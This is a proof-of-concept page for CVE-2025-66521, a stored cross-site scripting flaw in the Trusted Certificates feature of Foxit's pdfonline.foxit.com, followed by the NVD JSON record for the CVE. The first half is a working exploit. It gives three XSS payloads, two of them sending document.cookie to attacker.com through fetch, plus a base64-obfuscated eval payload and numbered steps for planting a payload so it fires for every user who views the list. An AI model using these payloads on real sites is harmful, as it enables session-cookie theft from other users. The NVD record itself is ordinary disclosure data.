CVE-2025-66521

// CVE-2025-66521 Stored XSS PoC // Target: pdfonline.foxit.com Trusted Certificates feature // Method 1: Script tag payload const xssPayload1 = '<script>alert(document.cookie)</script>'; // Method 2: Event handler payload const xssPayload2 = '<img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)">'; // Method 3: SVG payload const xssPayload3 = '<svg onload="eval(atob(\'YWxlcnQoJ0NTU0onKQ==\'))">'; // Exploitation steps: // 1. Login to pdfonline.foxit.com // 2. Navigate to Trusted Certificates management page // 3. Add a new certificate with the XSS payload as certificate name // 4. Save the certificate // 5. When any user views the Trusted Certificates list, the payload executes // Example fetch request for cookie stealing: // fetch('https://attacker.com/log?cookie=' + btoa(document.cookie), {mode: 'no-cors'})

{"cve": {"id": "CVE-2025-66521", "sourceIdentifier": "14984358-7092-470d-8f34-ade47a7658a2", "published": "2025-12-19T08:15:54.240", "lastModified": "2025-12-23T17:33:54.533", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stored cross-site scripting (XSS) vulnerability exists in pdfonline.foxit.com within the Trusted Certificates feature. A crafted payload can be injected as the certificate name, which is later rendered into the DOM without proper sanitization. As a result, the injected script executes each time the Trusted Certificates view is loaded."}], "metrics": {"cvssMetricV31": [{"source": "14984358-7092-470d-8f34-ade47a7658a2", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:N", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "14984358-7092-470d-8f34-ade47a7658a2", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor_cloud:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025-12-01", "matchCriteriaId": "1C90C56D-E699-4600-92B1-30DF358CE2E9"}]}]}], "references": [{"url": "https://www.foxit.com/support/security-bulletins.html", "source": "14984358-7092-470d-8f34-ade47a7658a2", "tags": ["Vendor Advisory"]}]}}